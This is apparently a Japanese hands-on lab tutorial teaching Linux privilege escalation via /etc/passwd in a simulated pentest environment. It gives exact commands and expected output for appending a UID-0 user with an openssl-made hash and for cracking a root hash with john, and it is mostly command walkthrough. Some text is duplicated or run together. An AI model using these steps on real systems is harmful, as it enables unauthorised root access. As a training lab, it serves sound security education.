はじめに
/etc/passwd と /etc/shadow ファイルは、Linux システムにおけるユーザー認証にとって重要です。システム管理者がこれらのファイルの内容やパーミッションを誤って設定すると、特権昇格の脆弱性につながる可能性があります。この実験では、/etc/passwd ファイルを悪用した特権昇格の方法を探ります。
/etc/passwd と /etc/shadow ファイルは、Linux システムにおけるユーザー認証にとって重要です。システム管理者がこれらのファイルの内容やパーミッションを誤って設定すると、特権昇格の脆弱性につながる可能性があります。この実験では、/etc/passwd ファイルを悪用した特権昇格の方法を探ります。
このステップでは、/etc/passwd ファイルの構造と意味を探ります。
Linux システムでは、ユーザーのパスワード情報は /etc/passwd と /etc/shadow の 2 つのファイルに格納されています。/etc/passwd ファイルにはユーザー情報が含まれており、各行が 1 つのユーザーアカウントを表しています。各行はコロンで区切られた 7 つのフィールドに分かれています。
x に設定されている場合、パスワードは /etc/shadow に格納されています)次に、ターミナルを開き、/home/labex/project ディレクトリに移動して次のステップに進みます。
cd /home/labex/project
/etc/passwd ファイルから labex ユーザーの情報を取得し、/home/labex/project ディレクトリに labex_passwd.txt という名前のファイルに保存します。
grep labex /etc/passwd > /home/labex/project/labex_passwd.txt
labex_passwd.txt ファイルの内容を確認します。
cat labex_passwd.txt
期待される出力:
labex:x:5000:5000::/home/labex:/usr/bin/zsh
各フィールドの意味は次の通りです。
/etc/shadow に格納されています(x で示されます)/home/labex/usr/bin/zshLinux の認証プロセスでは、次の手順が行われます。
/etc/passwd ファイルの各行の最初のフィールドと照合されます。0 の場合はルートユーザーを表し、ユーザー名に関係なく完全な管理権限が付与されます。このように、/etc/passwd ファイルは Linux の認証プロセスにおいて重要な役割を果たしています。攻撃者がこのファイルを変更できる場合、不正アクセスを行い、特権を昇格させる可能性があります。
このステップでは、/etc/passwd ファイルへの書き込みアクセスを悪用して特権を昇格させる方法を学びます。
まず、実験環境をセットアップしましょう。ターミナルを開き、/home/labex/project ディレクトリに移動します。
cd /home/labex/project
次のコマンドを実行して、実験環境をセットアップします。
./env_setup1.sh
このコマンドは、実験環境をセットアップするスクリプトを実行します。環境が準備できたことを示す出力が表示されるはずです。
セットアップが完了すると、user001 ユーザーとしてログインします。これは、ペネトレーションテスト中に取得した初期シェルアクセスをシミュレートしています。
user001 ユーザーのホームディレクトリに移動します。
cd ~
whoami コマンドを使用して、現在のユーザーを確認します。
whoami
期待される出力:
user001
id コマンドを使用して、ユーザー ID とグループ ID を表示します。
id
期待される出力:
uid=1001(user001) gid=1001(user001) groups=1001(user001)
このように、あなたは特別な特権のない通常のユーザーです。
次に、/etc/passwd と /etc/shadow ファイルのパーミッションを確認します。
ls -l /etc/passwd /etc/shadow
期待される出力:
--wx--xrwx 1 root root 1961 Apr 5 00:21 /etc/passwd
-rw-r----- 1 root user001 1101 Apr 5 00:21 /etc/shadow
/etc/passwd ファイルには、すべてのユーザーに対して 実行 と 書き込み の権限 (--wx--xrwx) があります。これは、システム管理者による 誤設定 です。
私たちの目標は、/etc/passwd ファイルに、カスタムのユーザー名、パスワード、および UID が 0(ルート)の新しいユーザーエントリを作成することです。これにより、ルートユーザーとしてログインできるようになります。
まず、/etc/passwd ファイル内のルートユーザーのエントリの形式を調べましょう。これを new_user_entry.txt という名前の新しいファイルに抽出します。
cat /etc/passwd | grep root > new_user_entry.txt
cat コマンドを使用して new_user_entry.txt ファイルの内容を表示したときの期待される出力:
root:x:0:0:root:/root:/bin/bash
独自のエントリを作成するために、new_user_entry.txt ファイル内のユーザー名を root から任意の名前、たとえば new-user に変更します。
new-user:x:0:0:root:/root:/bin/bash
2 番目のフィールドの x を暗号化されたパスワードハッシュに置き換えます。openssl ツールを使用して、パスワード(例:pass123)のハッシュを生成できます。
openssl passwd -1 -salt ignite pass123
期待される出力:
$1$ignite$3eTbJm98O9Hz.k1NTdNxe1
new_user_entry.txt ファイルの 2 番目のフィールドにハッシュを代入します。
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
この行を /etc/passwd ファイルに追加します。
echo "$(cat new_user_entry.txt)" >> /etc/passwd
注意:/etc/passwd ファイルにはすべてのユーザーに対して書き込み権限があるため、新しいエントリを追加できます。実際のシナリオでは、通常のユーザーにこのファイルの書き込み権限を与えるべきではありません。
/etc/passwd ファイル内で new-user を検索して、新しいエントリを確認します。
cat /etc/passwd | grep new-user
期待される出力:
new-user:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
最後に、パスワード pass123 で new-user ユーザーに切り替えます。
su new-user
パスワードを求められたら、pass123 を入力します。プロンプトの変更によって示されるように、あなたは現在ルート特権を持っているはずです。
user001@660ecfa4d7612c798ef141ab:~$ su new-user
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
このステップでは、ルートユーザーのパスワードハッシュが /etc/shadow ファイルではなく /etc/passwd ファイルに格納されている場合に、特権を昇格させる方法を学びます。
まず、実験環境をセットアップしましょう。ターミナルを開き、/home/labex/project ディレクトリに移動します。
もしまだ new-user としている場合は、exit コマンドを使って現在のシェルを抜け、labex シェルに戻ってから、/home/labex/project ディレクトリに移動します。
cd /home/labex/project
次のコマンドを実行して、実験環境をセットアップします。
./env_setup2.sh
このコマンドは、実験環境をセットアップするスクリプトを実行します。環境が準備できたことを示す出力が表示されるはずです。
セットアップが完了すると、user001 ユーザーとしてログインします。これは、ペネトレーションテスト中に取得した初期シェルアクセスをシミュレートしています。
user001 ユーザーのホームディレクトリに移動します。
cd ~
/etc/passwd と /etc/shadow ファイルのパーミッションを確認します。
ls -l /etc/passwd /etc/shadow
-rw-r--r-- 1 root root 2059 Apr 5 01:36 /etc/passwd
-rw-r----- 1 root root 1101 Apr 5 00:21 /etc/shadow
今回は、ファイルのパーミッションが 正しく 設定されており、/etc/passwd ファイルには読み取りアクセスのみが許可されています。
/etc/passwd ファイルの内容を表示して、ルートユーザーのパスワードハッシュを見つけます。
cat /etc/passwd | grep ^root > ~/hash.txt
次のコマンドを実行して、hash.txt ファイルの内容を確認します。
cat ~/hash.txt
期待される出力:
root:$1$ignite$J98A8EVPG1O40.WnwrPEM1:0:0:root:/root:/bin/bash
ルートユーザーのパスワードハッシュが /etc/passwd ファイルの 2 番目のフィールドに格納されていることに注意してください。これは通常、以前のシステム侵害やシステム管理者による 誤設定 の結果です。
次に、john を実行してハッシュをクラックします。
john ~/hash.txt > ~/cracked.txt
john は、辞書攻撃を使ってパスワードハッシュをクラックする人気のあるパスワードクラッキングツールです。出力は、パスワードが正常にクラックされたかどうかを示します。
Created directory: /home/user001/.john
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:00:00 100% 2/3 5.000g/s 6680p/s 6680c/s 6680C/s 123456..crawford
Use the "--show" option to display all of the cracked passwords reliably
Session completed
cracked.txt ファイルの内容を確認して、クラックされたパスワードを表示します。
Loaded 1 password hash (md5crypt [MD5 32/64 X2])
hello (root)
このように、john はパスワードを正常にクラックしました。パスワードは hello です。
su コマンドを使ってルートユーザーに切り替え、パスワードを求められたらクラックしたパスワードを入力します。
su root
パスワードを求められたら、hello を入力します。コマンドプロンプトの変更によって示されるように、あなたは現在ルート特権を持っているはずです。
user001@660ecfa4d7612c798ef141ab:~$ su root
Password:
root@660ecfa4d7612c798ef141ab:/home/user001#
この実験では、Linux のユーザー認証プロセス、/etc/passwd ファイルの重要性、およびそれを利用した特権昇格の方法を学びました。以下の 2 つのシナリオを扱いました。(1) /etc/passwd ファイルに書き込み権限があり、ルート特権を持つ新しいユーザーエントリを作成できる場合。(2) ルートユーザーのパスワードハッシュが /etc/passwd ファイルに格納されており、john ツールを使用してパスワードをクラックできる場合。実践を通じて、/etc/passwd ファイルの誤設定を利用して Linux システムで特権を昇格させる方法について深い理解を得ました。